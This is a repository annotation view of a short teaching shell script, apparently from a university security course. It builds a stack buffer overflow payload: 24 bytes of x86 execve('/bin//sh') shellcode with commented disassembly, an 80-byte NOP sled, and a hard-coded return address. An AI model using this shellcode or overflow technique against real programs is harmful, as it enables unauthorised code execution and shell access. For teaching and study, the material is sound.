programs/args3
author Christian Urban <christian dot urban at kcl dot ac dot uk>
Tue, 20 Nov 2012 21:31:11 +0000
changeset 82 01562d143105
parent 27 5bf1f248407c
child 115 c4008b31df8e
permissions -rwxr-xr-x
updated
Ignore whitespace changes - Everywhere: Within whitespace: At end of lines:
27
Christian Urban <urbanc@in.tum.de>
parents:
diff changeset
     1
#!/bin/sh
Christian Urban <urbanc@in.tum.de>
parents:
diff changeset
     2
Christian Urban <urbanc@in.tum.de>
parents:
diff changeset
     3
// shellscript that overwrites the buffer with 
Christian Urban <urbanc@in.tum.de>
parents:
diff changeset
     4
// some payload for opening a shell (the payload
Christian Urban <urbanc@in.tum.de>
parents:
diff changeset
     5
// cannot contain any \x00)
Christian Urban <urbanc@in.tum.de>
parents:
diff changeset
     6
Christian Urban <urbanc@in.tum.de>
parents:
diff changeset
     7
Christian Urban <urbanc@in.tum.de>
parents:
diff changeset
     8
shellcode="\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x0b\xcd\x80" 
Christian Urban <urbanc@in.tum.de>
parents:
diff changeset
     9
Christian Urban <urbanc@in.tum.de>
parents:
diff changeset
    10
# 24 bytes of shellcode
Christian Urban <urbanc@in.tum.de>
parents:
diff changeset
    11
Christian Urban <urbanc@in.tum.de>
parents:
diff changeset
    12
# "\x31\xc0"                      // xorl         %eax,%eax
Christian Urban <urbanc@in.tum.de>
parents:
diff changeset
    13
# "\x50"                          // pushl        %eax
Christian Urban <urbanc@in.tum.de>
parents:
diff changeset
    14
# "\x68\x6e\x2f\x73\x68"          // pushl        $0x68732f6e
Christian Urban <urbanc@in.tum.de>
parents:
diff changeset
    15
# "\x68\x2f\x2f\x62\x69"          // pushl        $0x69622f2f
Christian Urban <urbanc@in.tum.de>
parents:
diff changeset
    16
# "\x89\xe3"                      // movl         %esp,%ebx
Christian Urban <urbanc@in.tum.de>
parents:
diff changeset
    17
# "\x99"                          // cltd
Christian Urban <urbanc@in.tum.de>
parents:
diff changeset
    18
# "\x52"                          // pushl        %edx
Christian Urban <urbanc@in.tum.de>
parents:
diff changeset
    19
# "\x53"                          // pushl        %ebx
Christian Urban <urbanc@in.tum.de>
parents:
diff changeset
    20
# "\x89\xe1"                      // movl         %esp,%ecx
Christian Urban <urbanc@in.tum.de>
parents:
diff changeset
    21
# "\xb0\x0b"                      // movb         $0xb,%al
Christian Urban <urbanc@in.tum.de>
parents:
diff changeset
    22
# "\xcd\x80"                      // int          $0x80
Christian Urban <urbanc@in.tum.de>
parents:
diff changeset
    23
Christian Urban <urbanc@in.tum.de>
parents:
diff changeset
    24
padding=`perl -e 'print "\x90" x 80'`
Christian Urban <urbanc@in.tum.de>
parents:
diff changeset
    25
Christian Urban <urbanc@in.tum.de>
parents:
diff changeset
    26
// need s correct address in order to run
Christian Urban <urbanc@in.tum.de>
parents:
diff changeset
    27
printf $shellcode$padding"\xe8\xf8\xff\xbf\x00\x00\x00\x00"
Christian Urban <urbanc@in.tum.de>
parents:
diff changeset
    28